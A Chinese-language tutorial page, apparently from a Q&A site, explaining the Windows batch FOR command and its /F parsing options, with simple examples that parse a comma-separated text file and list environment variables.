command
[command-parameters]
如果集中包含通配符,则指定与目录名匹配,而不与文件
名匹配。
FOR
/R
[[drive:]path]
%variable
IN
(set)
DO
command
[command-parameters]
检查以
[drive:]path
为根的目录树,指向每个目录中的
FOR
语句。如果在
/R
后没有指定目录,则使用当前
目录。如果集仅为一个单点(.)字符,则枚举该目录树。
FOR
/L
%variable
IN
(start,step,end)
DO
command
[command-parameters]
该集表示以增量形式从开始到结束的一个数字序列。
因此,(1,1,5)
将产生序列
1
2
3
4
5,(5,-1,1)
将产生
序列
(5
4
3
2
1)。
FOR
/F
["options"]
%variable
IN
(file-set)
DO
command
[command-parameters]
FOR
/F
["options"]
%variable
IN
("string")
DO
command
[command-parameters]
FOR
/F
["options"]
%variable
IN
('command')
DO
command
[command-parameters]
或者,如果有
usebackq
选项:
FOR
/F
["options"]
%variable
IN
(file-set)
DO
command
[command-parameters]
FOR
/F
["options"]
%variable
IN
("string")
DO
command
[command-parameters]
FOR
/F
["options"]
%variable
IN
('command')
DO
command
[command-parameters]
filenameset
为一个或多个文件名。继续到
filenameset
中的
下一个文件之前,每份文件都已被打开、读取并经过处理。
处理包括读取文件,将其分成一行行的文字,然后将每行
解析成零或更多的符号。然后用已找到的符号字符串变量值
调用
For
循环。以默认方式,/F
通过每个文件的每一行中分开
的第一个空白符号。跳过空白行。您可通过指定可选
"options"
参数替代默认解析操作。这个带引号的字符串包括一个或多个
指定不同解析选项的关键字。这些关键字为:
eol=c
-
指一个行注释字符的结尾(就一个)
skip=n
-
指在文件开始时忽略的行数。
delims=xxx
-
指分隔符集。这个替换了空格和跳格键的
默认分隔符集。
tokens=x,y,m-n
-
指每行的哪一个符号被传递到每个迭代

for
本身。这会导致额外变量名称的分配。m-n
格式为一个范围。通过
nth
符号指定
mth。如果
符号字符串中的最后一个字符星号,
那么额外的变量将在最后一个符号解析之后
分配并接受行的保留文本。
usebackq
-
指定新语法已在下类情况中使用:
在作为命令执行一个后引号的字符串并且一个单
引号字符为文字字符串命令并允许在
filenameset
中使用双引号扩起文件名称。
语法
For
/F
["options"]
%variable
In
(file-set)
Do
command
[command-parameters]
options
参数说明
eol=c
指一个行注释字符的结尾(就一个)
skip=n
指在文件开始时忽略的行数。
delims=xxx
指分隔符集。这个替换了空格和跳格键的默认分隔符集。
tokens=x,y,m-n
指每行的哪一个符号被传递到每个迭代的
for
本身。这会导致额外变量名称的分配。m-n格式为一个范围。通过
nth
符号指定
mth。如果符号字符串中的最后一个字符星号,那么额外的变量将在最后一个符号解析之后分配并接受行的保留文本。
一个简单例子
Text.txt文件内容如下:
1,小明,80,85
2,小红,90,95
#3,小强,90,95
For
/F
"tokens=2,*
delims=,
"
%%i
In
(Text.txt)
Do
(Echo
%%i
%%j)
这里分析
Text.txt
文件中的内容,每次读取一行,每行以逗号分隔,取第2列
这样
%%i
表示第二列的内容,%%j
就是星号中的内容,星号就是第二列后面的全部内容
For
/F
"eol=#
tokens=2,*
delims=,
"
%%i
In
(Text.txt)
Do
(Echo
%%i
%%j)
和上面相比少了第三行,因为第三行以井号开头,eol=#
指定了以井号开头的行为注释行不分析
For
/F
"eol=#
skip=1
tokens=2,*
delims=,
"
%%i
In
(Text.txt)
Do
(Echo
%%i
%%j)
多了一个
skip=1,表示从跳过第一行,从第二行开始。
还可以这样
For
/F
"tokens=1,2,3,*
delims=,
"
%%i
In
(Text.txt)
Do
(Echo
%%i
%%j
%%k
%%l)
可以不用参数
For
/F
%%i
In
(Text.txt)
Do
(Echo
%%i)
这样,每次读取一行内容,显示出来。
某些范例可能有助:
FOR
/F
"eol=;
tokens=2,3*
delims=,
"
%i
in
(myfile.txt)
do
@echo
%i
%j
%k
会分析
myfile.txt
中的每一行,忽略以分号打头的那些行,将
每行中的第二个和第三个符号传递给
for
程序体;用逗号和/或
空格定界符号。请注意,这个
for
程序体的语句引用
%i

取得第二个符号,引用
%j
来取得第三个符号,引用
%k
来取得第三个符号后的所有剩余符号。对于带有空格的文件
名,您需要用双引号将文件名括起来。为了用这种方式来使
用双引号,您还需要使用
usebackq
选项,否则,双引号会
被理解成是用作定义某个要分析的字符串的。
%i
专门在
for
语句中得到说明,%j

%k
是通过
tokens=
选项专门得到说明的。您可以通过
tokens=
一行
指定最多
26
个符号,只要不试图说明一个高于字母
'z'

'Z'
的变量。请记住,FOR
变量是单一字母、分大小写和全局的;而且,
同时不能有
52
个以上都在使用中。
您还可以在相邻字符串上使用
FOR
/F
分析逻辑;方法是,
用单引号将括号之间的
filenameset
括起来。这样,该字符
串会被当作一个文件中的一个单一输入行。
最后,您可以用
FOR
/F
命令来分析命令的输出。方法是,将
括号之间的
filenameset
变成一个反括字符串。该字符串会
被当作命令行,传递到一个子
CMD.EXE,其输出会被抓进
内存,并被当作文件分析。因此,以下例子:
FOR
/F
"usebackq
delims=="
%i
IN
(`set`)
DO
@echo
%i
会枚举当前环境中的环境变量名称。
另外,FOR
变量参照的替换已被增强。您现在可以使用下列
选项语法:
~I
-
删除任何引号("),扩充
%I
%~fI
-

%I
扩充到一个完全合格的路径名
%~dI
-
仅将
%I
扩充到一个驱动器号
%~pI
-
仅将
%I
扩充到一个路径
%~nI
-
仅将
%I
扩充到一个文件名
%~xI
-
仅将
%I
扩充到一个文件扩展名
%~sI
-
扩充的路径只含有短名
%~aI
-

%I
扩充到文件的文件属性
%~tI
-

%I
扩充到文件的日期/时间
%~zI
-

%I
扩充到文件的大小
%~$PATH:I
-
查找列在路径环境变量的目录,并将
%I
扩充
到找到的第一个完全合格的名称。如果环境变量名
未被定义,或者没有找到文件,此组合键会扩充到
空字符串
可以组合修饰符来得到多重结果:
%~dpI
-
仅将
%I
扩充到一个驱动器号和路径
%~nxI
-
仅将
%I
扩充到一个文件名和扩展名
%~fsI
-
仅将
%I
扩充到一个带有短名的完整路径名
%~dp$PATH:i
-
查找列在路径环境变量的目录,并将
%I
扩充
到找到的第一个驱动器号和路径。
%~ftzaI
-

%I
扩充到类似输出线路的
DIR
在以上例子中,%I

PATH
可用其他有效数值代替。%~
语法
用一个有效的
FOR
变量名终止。选取类似
%I
的大写变量名
比较易读,而且避免与不分大小写的组合键混淆。
特别说明:
for
/f
%%i
in
(file)
do
(echo
%%i)
该命令处理的时候,file里面的内容处理是
当每行有空格就截取空格前面的字符串,空格后面的就删除了。
如果for语句有什么不明白的,可以
hi
我。

㈧ 批处理For命令的/f参数怎么用

命令行:for /f "delims=" %i in (1.txt) do echo %i
批处理:for /f "delims=" %%i in (1.txt) do echo %%i
关键字delims分隔集符要加上。
ps:单独一行命令参数i只有一个%,在bat里才有两个。

阅读全文

与批处理for命令相关的资料

热点内容
恋活的模型没加密 浏览:155
如何把安卓机的微信转移苹果 浏览:579
爬山算法相关题目 浏览:720
vc编程大全 浏览:114
excel表格单列数据加密 浏览:646
给同事的解压话语 浏览:990
linux关闭网卡命令行 浏览:452
史上最漂亮程序员 浏览:768
java实现excel的导入 浏览:758
光遇账号如何转移安卓 浏览:266
5分之13除以26的算法 浏览:342
兰州安宁区买解压包子 浏览:641
php接收图片代码 浏览:668
hci命令 浏览:662
福建服务器大区云空间 浏览:840
笔杆子程序员 浏览:745
手机软件易验证加密 浏览:589
文档加密只读模式也不能看到 浏览:431
把jpg转换成pdf的软件 浏览:874
linuxeth0mac 浏览:192